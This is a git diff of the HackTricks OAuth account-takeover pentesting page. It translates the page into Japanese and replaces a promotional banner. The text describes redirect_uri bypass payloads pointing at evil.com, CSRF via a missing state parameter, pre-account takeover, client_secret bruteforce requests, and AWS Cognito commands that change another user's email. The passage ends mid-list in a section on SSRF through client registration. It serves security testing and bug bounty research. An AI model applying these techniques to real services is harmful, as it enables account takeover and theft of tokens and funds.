**ハッキングのトリックを共有する**ために、PRを**hacktricksリポジトリ**と**hacktricks-cloudリポジトリ**に提出してください。 ![](<../.gitbook/assets/image (9) (1) (2).png>) \ -Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ +今すぐアクセスを取得: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} diff --git a/pentesting-web/oauth-to-account-takeover.md b/pentesting-web/oauth-to-account-takeover.md index 3008547aa..bd8607912 100644 --- a/pentesting-web/oauth-to-account-takeover.md +++ b/pentesting-web/oauth-to-account-takeover.md @@ -1,154 +1,142 @@ -# OAuth to Account takeover +# OAuthを使用したアカウント乗っ取り
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
-## Basic Information +## 基本情報 -There are a couple different versions of OAuth, you can read [https://oauth.net/2/](https://oauth.net/2/) to get a baseline understanding. +OAuthにはいくつかの異なるバージョンがあります。[https://oauth.net/2/](https://oauth.net/2/)を読んで基本的な理解を得ることができます。 -In this article, we will be focusing on the most common flow that you will come across today, which is the [OAuth 2.0 authorization code grant type](https://oauth.net/2/grant-types/authorization-code/). In essence, OAuth provides developers an **authorization mechanism to allow an application to access data or perform certain actions against your account, from another application** (the authorization server). +この記事では、現在最も一般的なフローである[OAuth 2.0認可コードグラントタイプ](https://oauth.net/2/grant-types/authorization-code/)に焦点を当てます。要するに、OAuthは開発者に対して、**別のアプリケーションからアカウントに対してデータにアクセスしたり、特定のアクションを実行するための認可メカニズムを提供します**(認可サーバー)。 -For example, let’s say website _**https://yourtweetreader.com**_ has functionality to **display all tweets you’ve ever sent**, including private tweets. In order to do this, OAuth 2.0 is introduced. _https://yourtweetreader.com_ will ask you to **authorize their Twitter application to access all your Tweets**. A consent page will pop up on _https://twitter.com_ displaying what **permissions are being requested**, and who the developer requesting it is. Once you authorize the request, _https://yourtweetreader.com_ will be **able to access to your Tweets on behalf of you**. +例えば、ウェブサイト_**https://yourtweetreader.com**_には、**送信したすべてのツイート**(プライベートツイートも含む)を表示する機能があります。これを実現するために、OAuth 2.0が導入されます。_https://yourtweetreader.com_は、**Twitterアプリケーションがすべてのツイートにアクセスするためにあなたの許可を求めます**。同意ページが_https://twitter.com_に表示され、**どのような権限が要求されているか**、そして要求している開発者が誰かが表示されます。リクエストを承認すると、_https://yourtweetreader.com_は**あなたの代わりにツイートにアクセスできるようになります**。 -Elements which are important to understand in an OAuth 2.0 context: +OAuth 2.0のコンテキストで理解する必要がある要素: -* **resource owner**: The `resource owner` is the **user/entity** granting access to their protected resource, such as their Twitter account Tweets. In this example, this would be **you**. -* **resource server**: The `resource server` is the **server handling authenticated requests** after the application has obtained an `access token` on behalf of the `resource owner` . In this example, this would be **https://twitter.com** -* **client application**: The `client application` is the **application requesting authorization** from the `resource owner`. In this example, this would be **https://yourtweetreader.com**. -* **authorization server**: The `authorization server` is the **server issuing `access tokens`** to the `client application` **after successfully authenticating** the `resource owner` and obtaining authorization. In the above example, this would be **https://twitter.com** -* **client\_id**: The `client_id` is the **identifier for the application**. This is a public, **non-secret** unique identifier. -* **client\_secret:** The `client_secret` is a **secret known only to the application and the authorization server**. This is used to generate `access_tokens` -* **response\_type**: The `response_type` is a value to detail **which type of token** is being requested, such as `code` -* **scope**: The `scope` is the **requested level of access** the `client application` is requesting from the `resource owner` -* **redirect\_uri**: The `redirect_uri` is the **URL the user is redirected to after the authorization is complete**. This usually must match the redirect URL that you have previously registered with the service -* **state**: The `state` parameter can **persist data between the user being directed to the authorization server and back again**. It’s important that this is a unique value as it serves as a **CSRF protection mechanism** if it contains a unique or random value per request -* **grant\_type**: The `grant_type` parameter explains **what the grant type is**, and which token is going to be returned -* **code**: This `code` is the authorization code received from the `authorization server` which will be in the query string parameter “code” in this request. This code is used in conjunction with the `client_id` and `client_secret` by the client application to fetch an `access_token` -* **access\_token**: The `access_token` is the **token that the client application uses to make API requests** on behalf of a `resource owner` -* **refresh\_token**: The `refresh_token` allows an application to **obtain a new `access_token` without prompting the user** +* **リソースオーナー**:`リソースオーナー`は、保護されたリソース(Twitterアカウントのツイートなど)へのアクセスを許可する**ユーザー/エンティティ**です。この例では、これは**あなた**です。 +* **リソースサーバー**:`リソースサーバー`は、アプリケーションが`リソースオーナー`の代わりに`アクセストークン`を取得した後に認証されたリクエストを処理する**サーバー**です。この例では、これは**https://twitter.com**です。 +* **クライアントアプリケーション**:`クライアントアプリケーション`は、`リソースオーナー`から**認可を要求するアプリケーション**です。この例では、これは**https://yourtweetreader.com**です。 +* **認可サーバー**:`認可サーバー`は、`リソースオーナー`を**正常に認証**し、認可を取得した後に`クライアントアプリケーション`に`アクセストークン`を発行する**サーバー**です。上記の例では、これは**https://twitter.com**です。 +* **client\_id**:`client_id`は、アプリケーションの**識別子**です。これは公開された**非秘密**の一意の識別子です。 +* **client\_secret**:`client_secret`は、アプリケーションと認可サーバーの間でのみ知られている**秘密**です。これは`アクセストークン`を生成するために使用されます。 +* **response\_type**:`response_type`は、要求されている**トークンのタイプ**(`code`など)を詳細に示す値です。 +* **scope**:`scope`は、`クライアントアプリケーション`が`リソースオーナー`から要求している**アクセスレベル**です。 +* **redirect\_uri**:`redirect_uri`は、認可が完了した後にユーザーがリダイレクトされる**URL**です。これは通常、事前にサービスに登録したリダイレクトURLと一致する必要があります。 +* **state**:`state`パラメータは、ユーザーが認可サーバーにリダイレクトされ、再び戻ってくる間に**データを保持**するために使用されます。これは一意の値であることが重要であり、リクエストごとに一意またはランダムな値を含む場合は**CSRF保護メカニズム**として機能します。 +* **grant\_type**:`grant_type`パラメータは、**グラントタイプ**と返されるトークンを説明します。 +* **code**:この`code`は、このリクエストのクエリ文字列パラメータ「code」にある`認可サーバー`から受け取った認可コードです。このコードは、クライアントアプリケーションが`client_id`と`client_secret`と共に使用して`access_token`を取得するために使用されます。 +* **access\_token**:`access_token`は、`リソースオーナー`の代わりに`クライアントアプリケーション`がAPIリクエストを行うために使用する**トークン**です。 +* **refresh\_token**:`refresh_token`は、ユーザーにプロンプトを表示せずに新しい`access_token`を**取得する**ためのものです。 -### Real Example +### 実際の例 -Putting this all together, here is what a **real OAuth flow looks like**: - -1. You visit [https://yourtweetreader.com](https://yourtweetreader.com) and click the “Integrate with Twitter” button. -2. [https://yourtweetreader.com](https://yourtweetreader.com) sends a request to [https://twitter.com](https://twitter.com) asking you, the resource owner, to authorize https://yourtweetreader.com’s Twitter application to access your Tweets. The request will look like: +これらをすべて組み合わせると、**実際のOAuthフロー**は次のようになります: +1. [https://yourtweetreader.com](https://yourtweetreader.com)にアクセスし、「Twitterと連携する」ボタンをクリックします。 +2. [https://yourtweetreader.com](https://yourtweetreader.com)は、リソースオーナーであるあなたに対して、https://yourtweetreader.comのTwitterアプリケーションがツイートにアクセスするための許可を求めるリクエストを[https://twitter.com](https://twitter.com)に送信します。リクエストは次のようになります: ``` https://twitter.com/auth - ?response_type=code - &client_id=yourtweetreader_clientId - &redirect_uri=https%3A%2F%2Fyourtweetreader.com%2Fcallback - &scope=readTweets - &state=kasodk9d1jd992k9klaskdh123 +?response_type=code +&client_id=yourtweetreader_clientId +&redirect_uri=https%3A%2F%2Fyourtweetreader.com%2Fcallback +&scope=readTweets +&state=kasodk9d1jd992k9klaskdh123 ``` - -3\. You will be prompted with a consent page: +3\. 同意ページが表示されます: ![](https://miro.medium.com/max/1215/1\*y66EY3Fn2qn-NPI9nhZC7A.png) -4\. Once accepted, Twitter will send a request back to the `redirect_uri` with the `code` and `state` parameters: - +4\. 承認されると、Twitterは`redirect_uri`に`code`と`state`パラメータを含んだリクエストを送信します: ``` https://yourtweetreader.com?code=asd91j3jd91j92j1j9d1&state=kasodk9d1jd992k9klaskdh123 ``` - -5\. [https://yourtweetreader.com](https://yourtweetreader.com) will then take that `code` , and using their application’s `client_id` and `client_secret` , will make a request from the server to retrieve an `access_token` on behalf of you, which will allow them to access the permissions you consented to: - +5\. [https://yourtweetreader.com](https://yourtweetreader.com)は、その`code`を取得し、自分たちのアプリケーションの`client_id`と`client_secret`を使用して、サーバーにリクエストを行い、あなたの代わりに`access_token`を取得します。これにより、彼らはあなたが同意した権限にアクセスすることができます。 ``` POST /oauth/access_token Host: twitter.com ...{"client_id": "yourtweetreader_clientId", "client_secret": "yourtweetreader_clientSecret", "code": "asd91j3jd91j92j1j9d1", "grant_type": "authorization_code"} ``` +6\. 最後に、フローが完了し、[https://yourtweetreader.com](https://yourtweetreader.com) はあなたの `access_token` を使用してTwitterにAPIコールを行い、あなたのツイートにアクセスします。 -6\. Finally, the flow is complete and [https://yourtweetreader.com](https://yourtweetreader.com) will make an API call to Twitter with your `access_token` to access your Tweets. +## バグバウンティの発見 -## Bug Bounty Findings +さて、興味深い部分です!OAuthの実装では、多くの問題が発生する可能性があります。以下は、私が頻繁に見るバグの異なるカテゴリです。 -Now, the interesting part! There are many things that can go wrong in an OAuth implementation, here are the different categories of bugs I frequently see: +### 弱い `redirect_uri` の設定 -### Weak redirect\_uri configuration +`redirect_uri` は非常に重要です。なぜなら、認可後に `code` のような**機密データがこのURLに追加される**からです。もし `redirect_uri` が**攻撃者が制御するサーバー**にリダイレクトされることができれば、攻撃者は `code` を使用して**被害者のアカウントを乗っ取る**ことができ、被害者のデータにアクセスすることができます。 -The `redirect_uri` is very important because **sensitive data, such as the `code` is appended to this URL** after authorization. If the `redirect_uri` can be redirected to an **attacker controlled server**, this means the attacker can potentially **takeover a victim’s account** by using the `code` themselves, and gaining access to the victim’s data. +この問題を悪用する方法は、認可サーバーによって異なります。**一部のサーバー**は、クライアントアプリケーションで指定された**正確に同じ `redirect_uri` パスのみを受け入れる**場合がありますが、一部のサーバーは、`redirect_uri` のドメインまたはサブディレクトリ内の**任意のもの**を受け入れる場合があります。 -The way this is going to be exploited is going to vary by authorization server. **Some** will **only accept** the exact same **`redirect_uri` path as specified in the client application**, but some will **accept anything** in the same domain or subdirectory of the `redirect_uri` . +サーバーが処理するロジックによっては、`redirect_uri` をバイパスするためのさまざまなテクニックがあります。例えば、`redirect_uri` が [https://yourtweetreader.com](https://yourtweetreader.com)/callback の場合、以下のような方法があります: -Depending on the logic handled by the server, there are a number of techniques to bypass a `redirect_uri` . In a situation where a `redirect_uri` is [https://yourtweetreader.com](https://yourtweetreader.com)/callback, these include: +* オープンリダイレクト:[`https://yourtweetreader.com`](https://yourtweetreader.com)`/callback?redirectUrl=https://evil.com` +* パストラバーサル:`https://yourtweetreader.com/callback/../redirect?url=https://evil.com` +* 弱い `redirect_uri` の正規表現:`https://yourtweetreader.com.evil.com` +* HTMLインジェクションとrefererヘッダーを介したトークンの盗み出し:`https://yourtweetreader.com/callback/home/attackerimg.jpg` -* Open redirects: [`https://yourtweetreader.com`](https://yourtweetreader.com)`/callback?redirectUrl=https://evil.com` -* Path traversal: `https://yourtweetreader.com/callback/../redirect?url=https://evil.com` -* Weak `redirect_uri` regexes: `https://yourtweetreader.com.evil.com` -* HTML Injection and stealing tokens via referer header: `https://yourtweetreader.com/callback/home/attackerimg.jpg` +オープンリダイレクトの脆弱性がある可能性のある**他のパラメータ**には以下があります: -**Other parameters** that can be vulnerable to Open Redirects are: +* **client\_uri** - クライアントアプリケーションのホームページのURL +* **policy\_uri** - リレーパーティクライアントアプリケーションが提供する、エンドユーザーがプロファイルデータの使用方法について読むことができるURL +* **tos\_uri** - リレーパーティクライアントが提供する、エンドユーザーがリレーパーティの利用規約について読むことができるURL +* **initiate\_login\_uri** - RPによってログインを開始するためにサードパーティが使用できるhttpsスキームを使用したURI。クライアント側のリダイレクトにも使用する必要があります。 -* **client\_uri** - URL of the home page of the client application -* **policy\_uri** - URL that the Relying Party client application provides so that the end user can read about how their profile data will be used. -* **tos\_uri** - URL that the Relying Party client provides so that the end user can read about the Relying Party's terms of service. -* **initiate\_login\_uri** - URI using the https scheme that a third party can use to initiate a login by the RP. Also should be used for client-side redirection. +これらのパラメータは、OAuthおよびOpenIDの仕様によれば**オプション**であり、特定のサーバーで常にサポートされているわけではないため、サポートされているパラメータを特定する価値があります。 -All these parameters are **optional according to the OAuth and OpenID** specifications and not always supported on a particular server, so it's always worth identifying which parameters are supported on your server. +OpenIDサーバーを対象にする場合、\*\*`.well-known/openid-configuration`\*\*には、"_registration\_endpoint_"、"_request\_uri\_parameter\_supported_"、"_require\_request\_uri\_registration_"などのパラメータが含まれることがあります。これらは、登録エンドポイントやその他のサーバーの設定値を見つけるのに役立ちます。 -If you target an OpenID server, the discovery endpoint at \*\*`.well-known/openid-configuration`\*\*sometimes contains parameters such as "_registration\_endpoint_", "_request\_uri\_parameter\_supported_", and "_require\_request\_uri\_registration_". These can help you to find the registration endpoint and other server configuration values. - -### XSS in redirect implementation - -As mentioned in this bug bounty report [https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html](https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html) it might be possible that the redirect **URL is being reflected in the response** of the server after the user authenticates, being **vulnerable to XSS**. Possible payload to test: +### リダイレクトの実装におけるXSS +このバグバウンティレポート [https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html](https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html) で言及されているように、リダイレクトの**URLがユーザーの認証後にサーバーのレスポンスに反映される**可能性があり、XSSの脆弱性があるかもしれません。テストする可能性のあるペイロード: ``` https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard

test

``` +### CSRF - 状態パラメータの不適切な処理 -### CSRF - Improper handling of state parameter - -Very often, the **`state` parameter is completely omitted or used in the wrong way**. If a state parameter is **nonexistent**, **or a static value** that never changes, the OAuth flow will very likely be **vulnerable to CSRF**. Sometimes, even if there is a `state` parameter, the **application might not do any validation of the parameter** and an attack will work. The way to exploit this would be to go through the authorization process on your own account, and pause right after authorising. You will then come across a request such as: - +非常に頻繁に、**`state`パラメータは完全に省略されるか、誤った方法で使用されます**。もし`state`パラメータが**存在しない**か、**変化しない静的な値**である場合、OAuthフローは非常に可能性が高く**CSRFに対して脆弱**になります。時には、`state`パラメータが存在していても、**アプリケーションがパラメータの検証を行わない**場合があり、攻撃が成功します。これを悪用する方法は、自分のアカウントで認可プロセスを進め、認可後に一時停止することです。その後、次のようなリクエストが表示されます: ``` https://yourtweetreader.com?code=asd91j3jd91j92j1j9d1 ``` +このリクエストを受け取った後、通常はこれらのコードは一度だけ使用されるため、リクエストを破棄することができます。その後、このURLをログイン済みのユーザーに送信すると、あなたのアカウントが彼らのアカウントに追加されます。最初は、これは犠牲者のアカウントに自分のアカウントを追加するだけなので、あまり敏感ではないように思えるかもしれません。しかし、多くのOAuthの実装はサインインのために行われるため、Googleアカウントを追加することができれば、Googleアカウントでログインすることで簡単にアカウント乗っ取りを行うことができます。 -After you receive this request, you can then **drop the request because these codes are typically one-time use**. You can then send this URL to a **logged-in user, and it will add your account to their account**. At first, this might not sound very sensitive since you are simply adding your account to a victim’s account. However, many OAuth implementations are for sign-in purposes, so if you can add your Google account which is used for logging in, you could potentially perform an **Account Takeover** with a single click as logging in with your Google account would give you access to the victim’s account. +これに関する例は、[CTF writeup](https://github.com/gr455/ctf-writeups/blob/master/hacktivity20/notes_surfer.md)とOouchというHTBボックスで見つけることができます。 -You can find an **example** about this in this [**CTF writeup**](https://github.com/gr455/ctf-writeups/blob/master/hacktivity20/notes\_surfer.md) and in the **HTB box called Oouch**. +stateパラメータは追加のリダイレクト値として使用されることもあります。アプリケーションは最初のリダイレクトに`redirect_uri`を使用しますが、`state`パラメータは2番目のリダイレクトとして使用され、クエリパラメータまたはリファラヘッダー内に`code`を含むことがあります。 -I’ve also seen the state parameter used as an additional redirect value several times. The application will use `redirect_uri` for the initial redirect, but then the `state` parameter as a second redirect which could contain the `code` within the query parameters, or referer header. +重要なことは、これは単にログインやアカウント乗っ取りのタイプの状況に適用されるだけではないということです。以下のような設定ミスが見られます。 -One important thing to note is this doesn’t just apply to logging in and account takeover type situations. I’ve seen misconfigurations in: +- Slackの統合により、攻撃者は自分のSlackアカウントをすべての通知/メッセージの受信者として追加できます。 +- Stripeの統合により、攻撃者は支払い情報を上書きし、被害者の顧客から支払いを受け取ることができます。 +- PayPalの統合により、攻撃者は自分のPayPalアカウントを被害者のアカウントに追加できます。これにより、お金が攻撃者のPayPalに入金されます。 -* Slack integrations allowing an attacker to add their Slack account as the recipient of all notifications/messages -* Stripe integrations allowing an attacker to overwrite payment info and accept payments from the victim’s customers -* PayPal integrations allowing an attacker to add their PayPal account to the victim’s account, which would deposit money to the attacker’s PayPal +### アカウント乗っ取り前 -### Pre Account Takeover +もう1つよく見かける問題は、「Xでサインインする」と「ユーザー名/パスワード」の両方を許可するアプリケーションです。攻撃する方法は2つあります。 -One of the other more common issues I see is when applications allow “Sign in with X” but also username/password. There are 2 different ways to attack this: +1. アプリケーションがアカウント作成時にメールの確認を必要としない場合、被害者のメールアドレスと攻撃者のパスワードでアカウントを作成しようとしてみてください。被害者がGoogleなどのサードパーティで登録またはサインインしようとすると、アプリケーションは検索を行い、すでにメールが登録されていることを確認し、その後、被害者のGoogleアカウントを攻撃者が作成したアカウントにリンクする可能性があります。これは「アカウント乗っ取り前」と呼ばれ、被害者が登録する前に攻撃者がアクセスできる状態です。 +2. OAuthアプリがメールの確認を必要としない場合、被害者のメールアドレスでそのOAuthアプリにサインアップしてみてください。上記と同じ問題が存在するかもしれませんが、被害者のアカウントにアクセスしてアカウント乗っ取りを行うことができます。 -1. If the application does **not require email verification on account creation**, try **creating an account with a victim’s email address and attacker password** before the victim has registered. If the **victim** then tries to register or sign in **with a third party**, such as Google, it’s possible the application will do a lookup, see that email is already registered, then l**ink their Google account to the attacker created account**. This is a “**pre account takeover**” where an attacker will have access to the victim’s account if they created it prior to the victim registering. -2. If an **OAuth app does not require email verification**, try signing up with that OAuth app with a **victim’s email address**. The same issue as above could exist, but you’d be attacking it from the other direction and getting access to the victim’s account for an account takeover. +### 秘密の漏洩 -### Disclosure of Secrets +OAuthの多くのパラメータが秘密であることを認識し、それらを保護することは非常に重要です。たとえば、`client_id`の漏洩は完全に問題ありませんが、`client_secret`の漏洩は危険です。これが漏洩すると、攻撃者は信頼されたクライアントアプリケーションの信頼とアイデンティティを悪用して、ユーザーの`access_token`やプライベート情報/アクセスを盗む可能性があります。先ほどの例に戻ると、この手順をクライアントからではなくサーバーから実行する問題があります。 -It’s very important to recognize **which of the many OAuth parameters are secret**, and to protect those. For example, leaking the `client_id` is perfectly fine and necessary, but leaking the **`client_secret` is dangerous**. If this is leaked, the **attacker** can potentially **abuse the trust and identity of the trusted client application to steal user `access_tokens` and private information/access for their integrated accounts**. Going back to our earlier example, one issue I’ve seen is performing this step from the client, instead of the server: +_5._ [_https://yourtweetreader.com_](https://yourtweetreader.com) _はその`code`を取得し、自分のアプリケーションの`client_id`と`client_secret`を使用して、あなたの代わりにサーバーから`access_token`を取得するリクエストを行います。これにより、あなたが同意した権限にアクセスできるようになります。_ -_5._ [_https://yourtweetreader.com_](https://yourtweetreader.com) _will then take that `code` , and using their application’s `client_id` and `client_secret` , will make a request from the server to retrieve an `access_token` on behalf of you, which will allow them to access the permissions you consented to._ +**クライアントから実行すると、`client_secret`が漏洩し、ユーザーはアプリケーションの代わりに`access_token`を生成することができます**。ソーシャルエンジニアリングを使えば、OAuthの認可にさらにスコープを追加することもでき、すべてが信頼されたクライアントアプリケーションからのリクエストとして正当に見えます。 -**If this is done from the client, the `client_secret` will be leaked and users will be able to generate `access_tokens` on behalf of the application**. With some social engineering, they can also **add more scopes to the OAuth authorization** and it will all appear legitimate as the request will come from the trusted client application. - -### Client Secret Bruteforce - -You can try to **bruteforce the client\_secret** of a service provider with the identity provider in order to be try to steal accounts.\ -The request to BF may look similar to: +### クライアントシークレットのブルートフォース +アイデンティティプロバイダとサービスプロバイダの`client_secret`をブルートフォースしてアカウントを盗む試みを行うことができます。BFのリクエストは次のようになる場合があります。 ``` POST /token HTTP/1.1 content-type: application/x-www-form-urlencoded @@ -158,29 +146,27 @@ Connection: close code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=authorization_code&client_id=public_client_id&client_secret=[bruteforce] ``` +### Refererヘッダーの漏洩コード+ステート -### Referer Header leaking Code + State +クライアントが**コードとステート**を持っている場合、異なるページに移動する際に**Refererヘッダー内に反映されている**場合、脆弱性が存在します。 -Once the client has the **code and state**, if it's **reflected inside the Referer header** when he browses to a different page, then it's vulnerable. +### ブラウザの履歴に保存されたアクセストークン -### Access Token Stored in Browser History +ブラウザの履歴に移動し、アクセストークンが保存されているかどうかを確認します。 -Go to the **browser history and check if the access token is saved in there**. +### 永続的な認可コード -### Everlasting Authorization Code +**認可コードは一定の時間だけ存在するようにすることで、攻撃者がそれを盗み出して使用できる時間枠を制限します**。 -The **authorization code should live just for some time to limit the time window where an attacker can steal and use it**. +### クライアントにバインドされていない認可/リフレッシュトークン -### Authorization/Refresh Token not bound to client +**認可コードを取得し、異なるクライアントで使用できる場合、他のアカウントを乗っ取ることができます**。 -If you can get the **authorization code and use it with a different client then you can takeover other accounts**. - -### Happy Paths, XSS, Iframes & Post Messages to leak code & state values +### ハッピーパス、XSS、iframe、ポストメッセージを使用してコードとステートの値を漏洩させる ### AWS Cognito -In this bug bounty report: [**https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/**](https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/) you can see that the **token** that **AWS Cognito** gives back to the user might have **enough permissions to overwrite the user data**. Therefore, if you can **change the user email for a different user email**, you might be able to **take over** others accounts. - +このバグ報奨金レポート:[**https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/**](https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/)では、**AWS Cognito**がユーザーに返す**トークン**が、**ユーザーデータを上書きするための十分な権限を持っている可能性がある**ことがわかります。したがって、異なるユーザーのメールアドレスに**ユーザーのメールアドレスを変更できる場合**、他のアカウントを**乗っ取る**ことができるかもしれません。 ```bash # Read info of the user aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...] @@ -188,30 +174,28 @@ aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...] # Change email address aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ[...] --user-attributes Name=email,Value=imaginary@flickr.com { - "CodeDeliveryDetailsList": [ - { - "Destination": "i***@f***.com", - "DeliveryMedium": "EMAIL", - "AttributeName": "email" - } - ] +"CodeDeliveryDetailsList": [ +{ +"Destination": "i***@f***.com", +"DeliveryMedium": "EMAIL", +"AttributeName": "email" +} +] } ``` - -For more detailed info about how to abuse AWS cognito check: +詳細な情報については、AWS Cognitoの乱用方法については以下を参照してください: {% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/aws-pentesting/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum" %} -### Two links & cookie +### 2つのリンクとクッキー -According to [**this writeup**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), it was possible to make a victim open a page with a **returnUrl** pointing to the attackers host. This info would be **stored in a cookie (RU)** and in a **later step** the **prompt** will **ask** the **user** if he wants to give access to that attackers host. +[**この解説記事**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f)によると、攻撃者のホストを指す**returnUrl**を持つページを被害者に開かせることが可能でした。この情報は**クッキー(RU)**として保存され、**後のステップ**で**プロンプト**が**ユーザー**にその攻撃者のホストへのアクセスを許可するかどうかを**尋ねます**。 -To bypass this prompt, it was possible to open a tab to initiate the **Oauth flow** that would set this RU cookie using the **returnUrl**, close the tab before the prompt is shown, and open a new tab without that value. Then, the **prompt won't inform about the attackers host**, but the cookie would be set to it, so the **token will be sent to the attackers host** in the redirection. +このプロンプトをバイパスするために、**Oauthフロー**を開始し、**returnUrl**を使用してこのRUクッキーを設定し、プロンプトが表示される前にタブを閉じ、その値がない新しいタブを開くことが可能でした。そのため、**プロンプトは攻撃者のホストについて通知しません**が、クッキーはそれに設定されるため、リダイレクトで**トークンは攻撃者のホストに送信されます**。 -### SSRFs parameters - -One of the hidden URLs that you may miss is the **Dynamic Client Registration endpoint**. In order to successfully authenticate users, OAuth servers need to know details about the client application, such as the "client\_name", "client\_secret", "redirect\_uris", and so on. These details can be provided via local configuration, but OAuth authorization servers may also have a **special registration endpoint**. This endpoint is normally mapped to "/register" and accepts POST requests with the following format: +### SSRFパラメータ +見落とす可能性のある隠れたURLの1つは、**Dynamic Client Registrationエンドポイント**です。ユーザーを正常に認証するために、OAuthサーバーは「client\_name」、「client\_secret」、「redirect\_uris」など、クライアントアプリケーションに関する詳細を知る必要があります。これらの詳細はローカルの設定で提供することもできますが、OAuth認可サーバーには**特別な登録エンドポイント**も存在する場合があります。このエンドポイントは通常、"/register"にマップされ、以下の形式のPOSTリクエストを受け付けます: ```json POST /connect/register HTTP/1.1 Content-Type: application/json @@ -219,62 +203,58 @@ Host: server.example.com Authorization: Bearer eyJhbGciOiJSUzI1NiJ9.eyJ ... { - "application_type": "web", - "redirect_uris": ["https://client.example.org/callback"], - "client_name": "My Example", - "logo_uri": "https://client.example.org/logo.png", - "subject_type": "pairwise", - "sector_identifier_uri": "https://example.org/rdrct_uris.json", - "token_endpoint_auth_method": "client_secret_basic", - "jwks_uri": "https://client.example.org/public_keys.jwks", - "contacts": ["ve7jtb@example.org"], - "request_uris": ["https://client.example.org/rf.txt"] +"application_type": "web", +"redirect_uris": ["https://client.example.org/callback"], +"client_name": "My Example", +"logo_uri": "https://client.example.org/logo.png", +"subject_type": "pairwise", +"sector_identifier_uri": "https://example.org/rdrct_uris.json", +"token_endpoint_auth_method": "client_secret_basic", +"jwks_uri": "https://client.example.org/public_keys.jwks", +"contacts": ["ve7jtb@example.org"], +"request_uris": ["https://client.example.org/rf.txt"] } ``` +このリクエストでパラメータを定義する2つの仕様があります:OAuthの[RFC7591](https://tools.ietf.org/html/rfc7591)と[Openid Connect Registration 1.0](https://openid.net/specs/openid-connect-registration-1\_0.html#rfc.section.3.1)です。 -There are two specifications that define parameters in this request: [RFC7591](https://tools.ietf.org/html/rfc7591) for OAuth and [Openid Connect Registration 1.0](https://openid.net/specs/openid-connect-registration-1\_0.html#rfc.section.3.1). +ここで見るように、これらの値のいくつかはURL参照を介して渡され、[Server Side Request Forgery](https://portswigger.net/web-security/ssrf)の潜在的なターゲットになる可能性があります。同時に、私たちがテストしたほとんどのサーバーは、登録リクエストを受け取ったときにこれらのURLをすぐに解決しないで、**これらのパラメータを保存してOAuth認可フローの後で使用します**。言い換えれば、これはより高度なSSRFであり、ブラックボックスの検出が困難になります。 -As you can see here, a number of these values are passed in via URL references and look like potential targets for [Server Side Request Forgery](https://portswigger.net/web-security/ssrf). At the same time, most servers we've tested do not resolve these URLs immediately when they receive a registration request. Instead, they just **save these parameters and use them later during the OAuth authorization flow**. In other words, this is more like a second-order SSRF, which makes black-box detection harder. +以下のパラメータは、SSRF攻撃に特に興味があります: -The following parameters are particularly interesting for SSRF attacks: +- **logo\_uri** - 